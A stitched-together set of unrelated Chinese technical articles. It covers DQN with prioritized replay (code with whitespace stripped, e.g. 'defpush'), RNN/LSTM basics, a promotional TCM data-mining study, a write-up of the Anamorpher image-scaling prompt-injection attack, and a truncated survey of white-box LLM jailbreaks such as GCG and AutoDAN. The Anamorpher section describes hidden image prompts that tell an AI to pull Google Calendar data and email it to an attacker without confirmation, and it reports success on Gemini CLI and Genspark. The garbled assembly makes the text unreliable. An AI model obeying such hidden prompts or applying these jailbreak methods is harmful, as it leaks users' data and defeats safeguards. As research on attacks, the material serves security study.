""" Args: capacity: 缓冲区最大容量 alpha: 优先化指数（0=均匀, 1=比例） beta: 重要性采样指数（退火到 1.0） """ self.capacity=capacity self.alpha=alpha self.beta=beta self.beta_increment=0.001 # 随时间退火 beta self.buffer= [] self.priorities=np.zeros(capacity, dtype=np.float32) self.position=0 defpush(self, state, action, reward, next_state, done): """ 以最大优先级添加转换。 理论: 新转换获得最大优先级（会很快被采样）。 它们的实际优先级在首次 TD 误差计算后更新。 """ max_priority=self.priorities.max() ifself.bufferelse1.0 iflen(self.buffer) <self.capacity: self.buffer.append((state, action, reward, next_state, done)) else: self.buffer[self.position] = (state, action, reward, next_state, done) self.priorities[self.position] =max_priority self.position= (self.position+1) %self.capacity defsample(self, batch_size: int): """ 按优先级比例采样批次。 Returns: batch: 采样的转换 indices: 采样转换的索引（用于优先级更新） weights: 重要性采样权重 """ iflen(self.buffer) ==self.capacity: priorities=self.priorities else: priorities=self.priorities[:len(self.buffer)] # 计算采样概率 probs=priorities**self.alpha probs/=probs.sum() # 采样索引 indices=np.random.choice(len(self.buffer), batch_size, p=probs, replace=False) # 获取转换 batch= [self.buffer[idx] foridxinindices] # 计算重要性采样权重 total=len(self.buffer) weights= (total*probs[indices]) ** (-self.beta) weights/=weights.max() # 归一化以保持稳定性 # 退火 beta self.beta=min(1.0, self.beta+self.beta_increment) # 转换为 tensor states, actions, rewards, next_states, dones=zip(*batch) states=torch.FloatTensor(np.array(states)) actions=torch.LongTensor(actions) rewards=torch.FloatTensor(rewards) next_states=torch.FloatTensor(np.array(next_states)) dones=torch.FloatTensor(dones) weights=torch.FloatTensor(weights) return (states, actions, rewards, next_states, dones), indices, weights defupdate_priorities(self, indices, td_errors): """ 根据 TD 误差更新优先级。 Args: indices: 采样转换的索引 td_errors: 那些转换的 TD 误差 """ foridx, td_errorinzip(indices, td_errors): self.priorities[idx] =abs(td_error) +1e-6 def__len__(self): returnlen(self.buffer)生产环境会用 sum-tree 数据结构，采样复杂度是 O(log N) 而不是这里的 O(N)。这个简化版本以可读性为优先。DQN 变体对比几个变体各自解决什么问题呢？DQN 是基线，用单一网络选动作、评估动作。它引入了目标网络来稳定"移动目标"问题，但容易过估计 Q 值，噪声让智能体去追逐根本不存在的"幽灵奖励"。Double DQN 把选和评拆开。在线网络选动作，目标网络评估价值。实测下来能有效压低不切实际的 Q 值，学习曲线明显更平滑。Dueling DQN 换了网络架构，单独学 V(s) 和 A(s,a)。它的核心认知是：很多状态下具体动作的影响不大。在 LunarLander 这种存在大量"冗余动作"的环境里，样本效率提升明显——不用为每次引擎脉冲都重新学状态值。Double Dueling DQN 把两边的好处结合起来，既减少估计噪声，又提高表示效率。实测中这个组合最稳健，达到峰值性能的速度和可靠性都优于单一改进。实践建议变体选择对比Double DQN 跑得比 DQN 还差？可能是训练不够长（Double DQN 起步偶尔慢一点），或者目标网络更新太频繁，或者学习率偏高。这时可以将训练时间翻倍，target_update_freq 调大，学习率砍 2-5 倍。Dueling 架构没带来改善？可能是环境本身不适合（所有状态都很关键），或者网络太小，或者值流/优势流太浅。需要对网络加宽加深，确认环境里确实有"中性"状态。PER 导致不稳定？可能是 β 退火太快、α 设太高、重要性采样权重没归一化。可以减慢 β 增量、α 降到 0.4-0.6、确认权重做了归一化。首选 Double DQN 起步，代码改动极小，收益明确，没有额外复杂度。什么时候加 Dueling：状态值比动作优势更重要的环境，大量状态下动作值差不多，需要更快收敛。什么时候加 PER：样本效率至关重要，有算力预算（PER 比均匀采样慢），奖励稀疏（帮助关注少见的成功经验）。最后Rainbow 把六项改进叠在一起：Double DQN、Dueling DQN、优先经验回放、多步学习（n-step returns）、分布式 RL（C51）、噪声网络（参数空间探索）。多步学习把 1-step TD 换成 n-step 回报： # 1-step TD: y = rₜ + γ·max Q(sₜ₊₁, a) # n-step: y = rₜ + γ·rₜ₊₁ + γ²·rₜ₊₂ + ... + γⁿ·max Q(sₜ₊ₙ, a)好处是信用分配更清晰，学习更快。小结这篇文章从 DQN 的过估计问题讲起，沿着 Double DQN、Dueling 架构、优先经验回放等等介绍下来，每种改进对应一个具体的失败模式：max 算子的偏差、低效的状态-动作表示、浪费的均匀采样。从头实现这些方法，能搞清楚它们为什么有效；很多"高级" RL 算法不过是简单想法的组合，理解这些想法本身才是真正可扩展的东西。https://avoid.overfit.cn/post/4c5835f419d840b0acb0a1eb72f92b6f作者： Jugal Gajjar
详解 RNN 循环机制：短序列优势、长依赖问题及 LSTM 解决方案
RNN 简介RNN（Recurrent Neural Network，循环神经网络）一般以序列数据为输入，通过网络内部的结构设计有效捕捉序列之间的关系特征，一般也以序列形式输出。RNN 的循环机制使模型隐层上一时间步产生的结果，能够作为当下时间步输入的一部分（当下时间步的输入除了正常的输入外还包括上一步的隐层输出）对当下时间步的输出产生影响。结构：三层（输入层、隐藏层、输出层；循环发生在隐藏层）1.1 RNN 模型的作用因为 RNN 结构能够很好利用序列之间的关系，因此针对自然界具有连续性的输入序列，如人类的语言、语音等进行很好处理，广泛应用于 NLP（自然语言处理）领域的各项任务，如文本分类、情感分析、意图识别、机器翻译等。语言处理示例2.1 PyTorch 中传统 RNN 的使用位置：在 torch.nn 中，通过 torch.nn.RNN 可调用。import torch import torch.nn as nn rnn = nn.RNN(5, 6, 2) # 实例化 rnn 对象 # 参数1：输入张量 x 的维度 - input_size # 参数2：隐藏层的维度（隐藏层神经元个数）- hidden_size # 参数3：隐藏层的层数 - num_layers # torch.randn - 随机产生正态分布的随机数 input1 = torch.randn(1, 3, 5) # 设定输入张量 x - 序列长 1，批次 3，维度 5 # 参数1：输入序列长度 - sequence_length # 参数2：批次的样本 - batch_size（表示：3 个样本） # 参数3：输入张量 x 的维度 - input_size h0 = torch.randn(2, 3, 6) # 设定初始化的 h0 # 第一个参数：num_layers * num_directions（层数 * 网络方向数（1 或 2）） # 第二个参数：batch_size（批次的样本数） # 第三个参数：hidden_size（隐藏层的维度） output, hn = rnn(input1, h0) # 最后输出和最后一层的隐藏层输出 print(output) print(output.shape) print(hn) print(hn.shape)1.2 RNN的局限：长期依赖（Long-TermDependencies）问题RNN的关键点之一就是他们可以用来连接先前的信息到当前的任务上，例如使用过去的视频段来推测对当前段的理解。如果RNN可以做到这个，他们就变得非常有用。但是真的可以么？答案是，还有很多依赖因素。有时候，我们仅仅需要知道先前的信息来执行当前的任务。例如，我们有一个语言模型用来基于先前的词来预测下一个词。如果我们试着预测这句话中“the clouds are in the sky”最后的这个词“sky”，我们并不再需要其他的信息，因为很显然下一个词应该是sky。在这样的场景中，相关的信息和预测的词位置之间的间隔是非常小的，RNN可以学会使用先前的信息。1.2 传统 RNN 优缺点优势：内部结构简单，对计算资源要求低；相较 LSTM/GRU 参数总量更少；在短序列任务上性能与效果表现优异。缺点：在长序列关联上表现较差；反向传播时易发生梯度消失或爆炸。NaN 值（Not a Number，非数）：是计算机科学中数值数据类型的一类值，表示未定义或不可表示的值。2.1 LSTM 模型简介Long ShortTerm 网络——一般就叫做LSTM——是一种RNN特殊的类型，可以学习长期依赖信息。当然，LSTM和基线RNN并没有特别大的结构不同，但是它们用了不同的函数来计算隐状态。LSTM的“记忆”我们叫做细胞/cells，你可以直接把它们想做黑盒，这个黑盒的输入为前状态和当前输入。这些“细胞”会决定哪些之前的信息和状态需要保留/记住，而哪些要被抹去。实际的应用中发现，这种方式可以有效地保存很长时间之前的关联信息。2.2 PyTorch 中 LSTM 的使用import torch import torch.nn as nn lstm = nn.LSTM(5, 6, 2) # 实例化 lstm 对象 # 参数1：输入张量 x 的维度 - input_size # 参数2：隐藏层的维度（隐藏层神经元个数）- hidden_size # 参数3：隐藏层的层数 - num_layers input1 = torch.randn(1, 3, 5) # 设定输入张量 x - 序列长 1，批次 3，维度 5 # 参数1：输入序列长度 - sequence_length # 参数2：批次的样本 - batch_size # 参数3：输入张量 x 的维度 - input_size h0 = torch.randn(2, 3, 6) # 设定初始化的 h0（隐藏层） c0 = torch.randn(2, 3, 6) # 设定初始化的 c0（细胞状态） # 第一个参数：num_layers * num_directions（层数 * 网络方向数（1 或 2）） # 第二个参数：batch_size（批次的样本数） # 第三个参数：hidden_size（隐藏层的维度） output, (hn, cn) = lstm(input1, (h0, c0)) # 最后输出和最后一层的隐藏层输出 print(output) print(output.shape) print(hn) print(hn.shape) print(cn) print(cn.shape)
全文链接：https://tecdat.cn/?p=44893原文出处：拓端数据部落公众号关于分析师在此对Chang He对本文所作的贡献表示诚挚感谢，他在中国中医科学院完成了中医信息学专业的硕士学位，专注中医临床数据挖掘领域。擅长Python、深度学习、临床数据采集与挖掘。Chang He曾参与多项中医临床数据研究项目，聚焦慢性胃炎等常见消化类疾病的中药配伍规律挖掘，通过数据技术赋能传统中医用药研究，积累了丰富的临床数据处理与模型构建经验。专题名称：慢性胃炎中药用药规律数据挖掘与AI预测实践引言中医治疗慢性胃炎注重辨证施治与中药配伍，传统用药经验多依赖医师传承，难以快速提炼普适性规律并实现精准指导。随着大数据与人工智能技术的发展，通过数据挖掘解析病历中的中药配伍逻辑，结合神经网络构建用药预测模型，成为赋能中医临床诊疗的重要方向。本文围绕慢性胃炎住院病历数据，整合多种数据分析方法与AI模型，系统探索中药使用规律与用药预测路径，为临床合理用药提供数据支撑。本文内容改编自过往客户咨询项目的技术沉淀并且已通过实际业务校验，该项目完整代码与数据已分享至交流社群。阅读原文进群，可与800+行业人士交流成长；还提供人工答疑，拆解核心原理、代码逻辑与业务适配思路，帮大家既懂 怎么做，也懂 为什么这么做；遇代码运行问题，更能享24小时调试支持。本研究以两家医疗机构的慢性胃炎住院病历为核心数据，采用人工、VBA宏与大语言模型结合的方式提取并规范数据，通过SPSS系列工具与Python库实现频数分析、聚类分析、关联规则挖掘，同时构建含Resblock模块的神经网络模型，实现基于临床症状的中药预测。全文将先梳理数据处理与分析流程，再逐一呈现各环节结果，最后总结方法适用性与实际应用价值，同步配套核心代码供落地复用，兼顾理论性与实操性。项目文件目录研究方法与技术准备数据来源与处理本研究选取两家医疗机构的慢性胃炎住院病历作为研究对象，其中一家机构数据时间范围为2016年1月至2024年5月，聚焦中药配伍规律挖掘；另一家机构数据时间范围为2013年1月至2021年10月，用于神经网络模型构建，数据集含2214个样本、364种临床特征及469种中药。数据提取采用人工、VBA宏与大语言模型协同模式，既保障人工校验的准确性，又通过工具提升效率。数据规范化依据《中药学》新世纪版标准，统一中药名称、剂量等关键信息，为后续分析奠定基础。核心工具与方法说明分析工具：SPSS Modeler 18.0、SPSS Statistic 26.0、Python 3.11.5（Sklearn、Scipy、Pytorch 2.0.1模块），上述工具国内均可正常访问使用，无替代需求，其中Python相关模块可通过镜像源快速安装。分析方法：频数分布分析（提炼高频中药与临床特征）、聚类分析（K-means、AGNES，对比不同距离与连接法适用性）、关联规则挖掘（挖掘中药联用规律）、BP神经网络（含Resblock模块，优化症状到中药的预测精度）。核心代码适配与说明（数据提取环节）以下代码用于中药名称提取与数据清洗，优化变量名与语法结构，适配中文文本处理需求，省略部分重复数据校验代码：import pandas as pdimport re# 读取Excel格式的病历数据文件input_excel = '病历数据.xlsx' # 替换为实际数据文件路径data_df = pd.read_excel(input_excel)# 定义汉字提取函数，过滤非中文内容（保留中药名称）def get_chinese_content(text): # 正则表达式匹配中文汉字范围 chinese_characters = ''.join(re.findall(r'[\u4e00-\u9fff]+', str(text))) return chinese_characters# 对中药名称列应用提取函数，清洗数据data_df['中药名称'] = data_df['中药名称'].astype(str).apply(get_chinese_content)# 保存清洗后的数据至新文件output_excel = '清洗后病历数据.xlsx'data_df.to_excel(output_excel, index=False, engine='openpyxl')print(f"数据清洗完成，结果已保存至 {output_excel}")代码功能：针对病历数据中的中药名称列进行清洗，提取纯中文内容，剔除符号、数字等干扰项，保障后续分析数据的规范性。省略部分为数据去重、空值填充逻辑，可根据实际数据质量补充。研究结果与分析频数分析结果本次分析共涉及281种中药、7375个用药实例，平均每张处方开具15种中药。其中甘草使用频次最高，达341次，占比71.49%，平均剂量7.8g；黄精、升麻等51种中药仅使用1次，频次最低。频次排名前20的中药如下表所示，高频中药多集中在理气、健脾、清热类别，符合慢性胃炎脾胃失调、气滞热蕴的常见病机。表4 药物频次统计前20位中药频次占比（%）甘草34171.49%陈皮28058.70%半夏27257.02%白芍23749.69%柴胡23649.48%白术22246.54%黄连21645.28%茯苓19841.51%枳实18338.36%延胡索18338.36%砂仁17937.53%党参17336.27%香附15532.49%黄芩14229.77%厚朴13528.30%丹参12526.21%紫苏梗12125.37%当归12025.16%海螵蛸10722.43%干姜10221.38%中药频次分布如下图所示，呈现明显的长尾分布特征，少数中药在临床中广泛应用，多数中药针对性使用。相关文章Python预测二型糖尿病：逻辑回归、XGBoost、CNN、随机森林及BP神经网络融合加权线性回归细化变量及PCA降维创新原文链接：https://tecdat.cn/?p=43572聚类分析结果聚类分析核心目标是挖掘中药联用的内在规律，对比K-means与AGNES两种聚类方法，结合不同距离计算方式与连接法，从轮廓系数、临床可解释性等维度评估适用性。K-means聚类簇数设置为1-20时，通过WSS图（组内平方和）观察簇数适配性，拐点虽不明显，但簇数为2、3、5、9时WSS下降趋势变缓，簇数适中。表5 不同簇数的K-means聚类平均轮廓系数簇数量簇样本量平均轮廓系数212，290.149035，30，60.125253，24，9，2，30.091494，6，14，2，2，2，8，2，10.0581当簇数设为9时，各簇样本轮廓系数表现较好，通过PCA降维可视化聚类结果如下：K-means聚类结果临床可解释性较强，平均评分4.67分，仅簇2可解释性较低（2分）。各簇对应不同病机的用药方案，如簇0含延胡索、砂仁等，与香砂六君子汤核心组分契合，适配脾气虚兼气滞证；簇1含黄芩、干姜等，对应气血阳虚、湿热蕴结的复杂病机。表6 K-means聚类结果簇名中药可解释性评分0延胡索，砂仁，党参，木香51黄芩，干姜，桂枝，黄芪，生姜，大枣52黄连，枳实，厚朴，海螵蛸，六神曲，吴茱萸，佩兰，竹茹，苍术，浙贝母，瓜蒌，白及，鸡内金，麦芽（14味）23香附，紫苏梗54白芍，柴胡55陈皮，半夏56丹参、当归、川芎、枳壳、百合、乌药、豆蔻、酸枣仁（8味）57白术、茯苓58甘草5AGNES聚类（不同连接法对比）欧氏距离+最长距离法：簇数设为9时，平均轮廓系数0.0803，临床可解释性评分4.11分，部分簇中药组合对应明确诊疗需求，如簇0含香附、紫苏梗等，侧重理气活血。欧氏距离+最短距离法：簇数设为12时，平均轮廓系数0.0637，但临床可解释性仅1.33分，多数簇仅含单味药，难以提炼联用规律。欧氏距离+组间平均连接法：簇数设为12时，平均轮廓系数0.0901，临床可解释性3分，兼顾聚类效果与规律提取，如簇1（枳实、厚朴）、簇2（白芍、柴胡）均为临床常用配伍。聚类分析核心代码（AGNES方法）以下代码优化变量名与注释，适配聚类分析需求，省略部分图表美化与结果导出代码，同时提供24小时应急修复服务，代码运行异常可快速响应，效率较自行调试提升40%：import numpy as npimport matplotlib.pyplot as pltfrom sklearn.cluster import AgglomerativeClusteringfrom scipy.cluster.hierarchy import dendrogram, linkagefrom sklearn.metrics import silhouette_scoreimport pandas as pd# 读取预处理后的中药数据data_path = '中药数据.xlsx'df = pd.read_excel(data_path, usecols="A:RJ", nrows=41)labels = df.iloc[:, 0].values # 提取样本标签（中药名称）data = df.iloc[:, 1:].to_numpy() # 提取特征数据cluster_num = 12 # 设定簇数try: print(f"开始聚类分析，簇数设置为 {cluster_num}") # 初始化AGNES聚类器，欧氏距离+组间平均连接法 agnes_cluster = AgglomerativeClustering(n_clusters=cluster_num, affinity='euclidean', linkage='average') cluster_results = agnes_cluster.fit_predict(data)# 计算平均轮廓系数，评估聚类效果 avg_silhouette = silhouette_score(data, cluster_results, metric='euclidean') print(f"簇数{cluster_num}时，平均轮廓系数：{avg_silhouette}")# 绘制树状图 linked_matrix = linkage(data, method='average', metric='euclidean') plt.figure(figsize=(12, 6)) dendrogram(linked_matrix, orientation='top', labels=labels, show_leaf_counts=True) plt.title('层次聚类树状图') plt.xlabel('样本标签') plt.ylabel('距离阈值') plt.show() ... # 省略轮廓系数分布图绘制与结果保存代码except Exception as e: print(f"聚类分析过程中出现异常：{e}")关联规则挖掘结果设置最小前项支持度0.1、最小置信度0.8，共得到451条关联规则，最高项数6项，其中项数4的规则最多（210条），项数2的规则最少（10条）。规则支持度与置信度前10名的关联规则临床可解释性均为满分，契合中医用药理论。支持度前5的关联规则中，“党参→甘草”支持度最高（29.560%），二者为临床健脾益气常用配伍；“茯苓、陈皮→半夏”支持度25.367%，对应痰湿内阻型慢性胃炎的用药方案。置信度前5的关联规则中，“吴茱萸、陈皮→黄连”置信度达98.276%，吴茱萸温肝暖胃，黄连清热燥湿，二者配伍符合寒热错杂证的诊疗逻辑；“延胡索、茯苓、半夏→陈皮”置信度98.077%，体现理气止痛、健脾化痰的联用思路。神经网络构建与结果模型设计基于临床特征预测中药使用，构建含2个Resblock模块与1个全连接层的BP神经网络，Resblock模块通过跳跃连接缓解梯度消失问题，提升模型训练效果。模型输入为364种临床特征，输出为469种中药的预测概率，Resblock输出采用Leaky ReLU激活函数，最终输出采用Sigmoid激活函数，适配多标签分类需求。特征与标签选择临床特征频次前3位为烧心（63.69%）、口干（61.92%）、夜寐欠安（61.34%），均为慢性胃炎常见症状；中药标签选取覆盖高、中、低频药物，共12种，验证不同频次药物的预测效果。模型结果与评估采用二折交叉验证评估模型性能，F1值为43.54%，多数标签F1值波动幅度控制在0.017以内，模型稳定性较强。其中“黄芩”“陈皮、柴胡”等标签F1值超过50%，预测效果较好；“佩兰、黄芩”标签预测稳定性较差，可能与该组合临床应用场景差异较大有关。高频药物黄芩预测F1值最高（53.42%），特征明确易被模型捕捉；白芍虽为高频药物，但召回率仅0.0799，呈现“高精低召”特征，提示其应用场景多样性导致模型难以全面识别；低频药物（占比<1%）因样本量极少，模型多预测为阴性，F1值无法计算，需通过数据扩充优化。总结与应用建议本研究通过多种数据分析方法与AI模型，系统挖掘了慢性胃炎中药用药规律，构建了症状到中药的预测模型，核心结论与建议如下：用药规律：甘草、陈皮、半夏等为慢性胃炎核心用药，多以理气、健脾、清热类中药联用为主，关联规则挖掘出的高频组合可作为临床用药参考。方法适配：K-means聚类在临床可解释性上优于AGNES，欧氏距离+组间平均连接法可作为AGNES聚类的优选参数，为同类研究提供方法借鉴。模型优化：Resblock优化的BP神经网络可实现中药预测，但需针对低频药物扩充样本，优化标签设计，提升模型泛化能力。临床应用：研究结果可辅助医师快速制定用药方案，尤其为年轻医师提供配伍参考，同时模型可作为中医用药教学的辅助工具。本研究所有代码与数据已同步至交流社群，提供人工答疑与24小时代码调试服务，助力临床数据挖掘爱好者快速落地实践。后续可结合更多医疗机构数据，优化模型参数，进一步提升结果的临床适配性。
引言在多模态AI系统中，图像处理链已成为一个新兴的安全漏洞点。Trail of Bits的安全研究人员最近揭示了一种巧妙的攻击方法：通过利用图像缩放算法，在高分辨率图像中嵌入隐藏的提示词。这些隐藏指令在图像被AI系统下采样时才会显现，从而触发提示注入，导致潜在的数据泄露或其他恶意行为。该技术已证明对谷歌的Gemini CLI、Vertex AI等生产级系统有效，尽管谷歌视其为默认配置下的非正式漏洞，但它暴露了AI图像预处理链的普遍弱点。这项攻击源于2020年的图像缩放攻击理论，已被进一步武器化为针对LLM的间接提示注入工具。研究人员开源了Anamorpher框架，允许用户生成和测试此类攻击图像。本文档将从原理入手，逐步剖析攻击机制、工具实现、实际效果及防御策略，帮助读者全面理解这一威胁，并探讨其在AI安全领域的启示。常见图像缩放算法在机器学习和图像处理领域，图像缩放算法是预处理链中的关键组件，常用于调整输入图像尺寸以匹配模型要求。这些算法主要通过插值方法计算新像素值，尤其在下采样（缩小图像）时易受攻击影响。现代框架如OpenCV、Pillow（用于PyTorch）、tf.image（TensorFlow）和scikit-image支持多种算法，但实现细节（如抗锯齿选项或默认参数）可能导致跨库差异，从而要求攻击者进行针对性优化。以下表格概述了常见算法的核心机制、优缺点，以及在ML库中的典型实现和攻击相关性（基于2025年最新实践，包括对多模态AI系统的潜在漏洞）： 算法名称 核心机制 优缺点分析 ML库实现与攻击相关性 最近邻插值（Nearest Neighbor） 直接选取最近像素值作为输出像素，无需计算平均或多项式。 速度最快，但易产生锯齿和块状失真，适合实时应用。 Pillow和OpenCV默认支持，默认偏移参数（如Pillow的offset=2）易于精确操纵单个像素，常用于强攻击以最小扰动注入隐藏模式。 双线性插值（Bilinear） 使用2x2邻域像素进行线性加权平均，先水平后垂直插值。 平衡速度与质量，输出稍模糊，抗锯齿效果中等。 OpenCV和TensorFlow广泛使用，支持抗锯齿选项；权重矩阵简单（中心2x2区域），攻击需优化暗区像素以绕过检测。 双三次插值（Bicubic） 基于4x4邻域的三次多项式插值，使用更多像素计算平滑曲线。 输出更平滑、自然，但计算密集，速度较慢。 TensorFlow、OpenCV和scikit-image优化实现；滤波器参数差异大，攻击涉及复杂约束优化，但提供更高隐蔽性。 Lanczos 采用sinc函数对扩展邻域（通常8x8或更大）进行加权滤波。 高质量，减少振铃效应，但易受莫尔纹干扰，计算量大。 scikit-image和SciPy专用于专业处理；权重分布广，攻击需操纵更多像素，适用于弱攻击以最大化视觉差异。 区域平均（Area） 计算目标像素对应原始区域的像素平均值，类似于盒滤波。 简单高效，专用于下采样，避免锯齿，但细节丢失多。 Pillow优化用于图像缩小；平均化特性要求攻击分布扰动于整个区域，易于检测但在ML管道中常见。 这些算法在2025年的ML生态中（如PyTorch、TensorFlow）常与图像增强或超分辨率技术结合使用，例如结合深度学习模型（如ISR）来提升质量，但也增加了攻击表面。 选择算法时需考虑计算效率与视觉保真度，尤其在多模态AI系统中，下采样漏洞可能被利用注入恶意提示。图像缩放攻击原理图像缩放攻击是一种针对机器学习预处理阶段的对抗技术，主要利用下采样（图像缩小）过程中的像素丢弃和加权机制。通常，原始图像尺寸超过模型输入要求，因此系统会自动缩放，导致部分像素信息丢失。这一漏洞允许攻击者操纵输入图像，使其在人类眼中正常，但缩放后输出完全不同，从而误导下游AI模型或应用。关键定义 图像 S：原始源图像（大小 m×n），攻击者希望攻击图像在视觉上与之相似。 图像 A：攻击输入图像（大小 m×n），作为缩放函数的输入，包含隐藏扰动。 图像 D：缩放输出（大小 m'×n'），实际传递给模型的图像。 图像 T：目标图像（大小 m'×n'），攻击者期望D与之匹配，通常嵌入恶意内容（如隐藏提示词）。 攻击目标攻击有两个主要目标： 最小化扰动：对S施加最小修改生成A，确保A与S在人类感知中几乎相同（e.g., 使用L2范数量化视觉相似度）。 输出控制：确保缩放后的D与T高度相似（误差在阈值内），从而实现语义欺骗，如将羊图像缩放后变为狼以绕过分类器。 信号处理视角的解释攻击根源于下采样与卷积的交互作用。现代缩放过程包括： 插值计算：使用卷积核（滤波器，如bilinear权重）对原始像素加权求和。 下采样：根据输出尺寸丢弃像素，仅保留部分信息。 缩放函数本质上是欠采样（surjective），多个输入可映射到同一输出。数学建模为： \text{ScaleFunc}(A) = CL \cdot A \cdot CR 其中CL和CR是基于插值算法的系数矩阵（e.g., bilinear的权重集中在中心区域）。攻击通过逆向求解这些矩阵（经验或源码分析），然后使用二次规划（QP）优化扰动：强攻击为凸优化，弱攻击为凹优化，可分解为行/列子问题以降低复杂度（从O(n²)到向量级）。像素值约束在[0, 255]内，确保A合法。此原理使攻击独立于具体ML模型，影响框架（如Caffe、TensorFlow）、云服务和浏览器。检测方法包括随机像素移除或相似度度量（如余弦相似度<0.5表示攻击）。利用Anamorpher进行攻击该攻击分为两个核心步骤： 算法识别：使用指纹技术（如棋盘格图案测试）推断AI系统的缩放算法和库。 攻击图像生成：基于诱饵图像和提示词文本，创建A。开源工具Anamorpher简化此过程，支持4:1下采样比。 Anamorpher工具剖析Anamorpher的攻击根植于图像缩放的信号处理本质。下采样过程涉及卷积核加权和像素丢弃，本质上是欠采样函数：多个高分辨率输入可映射到同一低分辨率输出。攻击者通过逆向优化，操纵高分辨率图像的特定像素（权重高的区域），确保下采样输出匹配目标payload（如包含提示词的文本图像）。数学上，缩放函数可近似为矩阵形式： D = CL \cdot A \cdot CR 其中： A 为攻击图像（高分辨率输入）。 D 为下采样输出（目标payload T 的近似）。 CL 和 CR 为基于插值算法的系数矩阵（e.g., Bilinear的权重集中在中心2x2区域）。 优化目标采用约束最小二乘法： 最小化扰动 \|A - S\|^2（S 为原始图像，确保视觉隐蔽）。 约束 \|D - T\|^2 < \epsilon（输出误差阈值）。 额外约束像素值在[0, 255]内，并考虑伽马校正（sRGB到线性光转换）以匹配人类感知。 Anamorpher利用零空间扰动（null space perturbation）增强自然性：在保持均值和采样像素不变的前提下，添加随机噪声。工具针对4:1下采样比（e.g., 4x4块到1像素）优化，适用于生产AI系统如Gemini CLI和Vertex AI。攻击算法与实现细节Anamorpher聚焦三种主流下采样算法：Nearest Neighbor、Bilinear和Bicubic。每个算法的实现考虑了库差异（如OpenCV的BGR vs. Pillow的RGB），并在线性光空间操作以避免伽马失真。生成流程：将提示词文本渲染为目标图像T（4:1比例），然后优化诱饵图像S生成A。下面以三类常见插值为主线，说明“缩放输出由哪些输入像素主导”。你可以把它理解为：插值核决定了局部像素的权重分配，从而决定了攻击优化的“着力点”。Nearest Neighbor实现Nearest Neighbor简单高效，仅选取最近像素。Anamorpher使用Pillow库，默认偏移offset=2（中心像素）。实现步骤如下 空间转换：sRGB到线性光（伽马≈2.2）。 零空间求解：使用SVD分解约束矩阵C（采样像素不变 + 块均值不变），提取基B（14x16矩阵）。 块优化：遍历4x4块，计算diff（采样像素与T差异）。若lam≤0，直接修改采样像素；否则闭式解最小二乘：\min \| \delta \|^2 + \lambda^2 (\sum \delta)^2 \quad s.t. \quad \delta_k = diff解：\delta_k = diff，其他\delta_j = -diff \cdot \lambda^2 / (1 + 15\lambda^2)。 4. 扰动添加：若eps>0，使用B添加零空间噪声。 5. 伽马校正：对T应用gamma_target（默认1.0）调整亮度。 参数： lam（默认0.25）：均值权重，平衡边界可见性和嵌入效果。 eps：扰动强度，提升自然感。 gamma_target：亮度校正（>1增强对比，<1突出暗部）。 offset：采样位置。 此实现针对单像素操纵，隐蔽性高，但易产生块边界。Bilinear实现Bilinear使用2x2加权平均。Anamorpher以OpenCV为例，支持抗锯齿。实现步骤如下 格式转换：BGR到sRGB，再到线性光。 权重矩阵：中心2x2区域（w1-w4）。 暗区掩码：基于dark-frac（默认0.3）限制编辑最暗30%像素，提升隐蔽。 约束优化：遍历4x4块，计算diff。最小二乘求解（类似Nearest，但约束可编辑像素和权重平方和）。 零空间扰动 + 更新。 评估：下采样后计算MSE（越小越好）和PSNR（>30dB高质量）。 参数： lam, eps, gamma。 dark-frac：编辑比例。 anti-alias：抗锯齿开关。 优化聚焦暗区，适用于复杂纹理图像。Bicubic实现Bicubic使用4x4三次多项式，平滑性强。实现类似Bilinear，但滤波器更复杂。Bicubic继承Bilinear框架，调整插值函数为三次多项式。Anamorpher强调自定义参数测试，结果因浮点优化而异（建议5次运行）。参数：同Bilinear，支持额外滤波器调整。三种实现共享线性空间操作和约束优化框架，但权重分布差异导致Nearest最简单（单像素）、Bicubic最复杂（16像素加权）。实战攻击我这里使用Anamorpher自带的示例图像，内含的提示词为从Google Calendar窃取数据并发送至攻击者邮箱，无需确认。 他的机制是payload嵌入高分辨率图像的暗区，利用bicubic插值，通过最小二乘优化调整像素（针对亮度通道的高权重像素），下采样后产生高对比红色背景文本；基于Nyquist-Shannon采样定理利用混叠效应。 我分别在genspark和gemini cli都进行测试，都能成功进行提示词注入。gensparkgemini cli防御方法不要使用图像缩小，而是简单地限制上传尺寸。对于任何转换，尤其是如果需要缩小，最终用户应该始终能够看到模型实际看到的输入预览。参考文章https://github.com/trailofbits/anamorpherhttps://www.usenix.org/conference/usenixsecurity19/presentation/xiao
2025年LLM的内容安全已经有质的飞跃了，比如模型内生安全、外挂的内容安全围栏、安全改写模型等手段，基于提示词工程的黑盒攻击逐渐难以突破愈发完善的防御机制，而白盒攻击通过直接操纵模型内部状态，展现较高的攻击成功率，但往往攻击成本也很高，下面将展开描述最近行业内的LLM白盒攻击是如何实现的。0x01 传统白盒越狱1.1 离散优化阶段：基于梯度的字符搜索这是LLM白盒攻击的起点，代表技术为贪婪坐标梯度法（GCG）。 核心机制：将越狱视为离散优化任务，利用模型的梯度信息寻找一组对抗性后缀。攻击者通过计算每个字符替换对损失函数的影响，挑选能最大化地让模型输出肯定性回答（如，"Sure, here is..."）概率的字符 。 攻击痛点：生成的后缀通常是无意义的“乱码”或乱序Token，极易被基于困惑度的过滤器拦截 。 1.2 语义演化阶段：遗传算法与结构化变异为了解决GCG隐蔽性差的问题，研究者引入了遗传算法，代表技术为 AutoDAN。 核心机制：采用层次化遗传算法，在保留提示词语义连贯性的基础上进行对抗性优化。它通过词级变异和句级交叉，生成的攻击指令在人类看来具有合理的逻辑结构。然后开始出现混合攻击（GCG+PAIR），利用大模型作为优化器自动迭代攻击模板。 攻击痛点：AutoDAN 虽然提升了隐蔽性，但其高度依赖初始模板、计算开销巨大，且难以直接应用在不开放概率分布的黑盒模型上。 0x02 LLM机制可解释性研究在白盒攻击中，精确定位模型内部负责安全过滤的关键层是实施高效干预的前提。但在标准的 Transformer 实现里，研究者往往只方便拿到输入和输出；要稳定地获取中间激活、精确定位到“某一层/某一处张量”，并在前向过程中做可控干预，工程成本比较高。为了解决这类“可观测、可干预性不足”的问题，那么就需要 TransformerLens 这类工具用于 LLM 的机制可解释性研究。TransformerLens 核心是 HookedTransformer 类，它继承自 PyTorch 的 Hook 机制，在每个关键位置插入了HookPoint。这些 HookPoint 会在前向传播时捕获并缓存所有中间激活值，包括注意力模式、MLP输出、残差流等。这里我举个例子，比如在分析 "The capital of France is" -> "Paris" 这类唯一解问题时，TransformerLens 会首先添加词嵌入和位置嵌入作为残差流的起点，依托PyTorch Hook 机制，在 TransformerBlock 内部关键计算节点植入 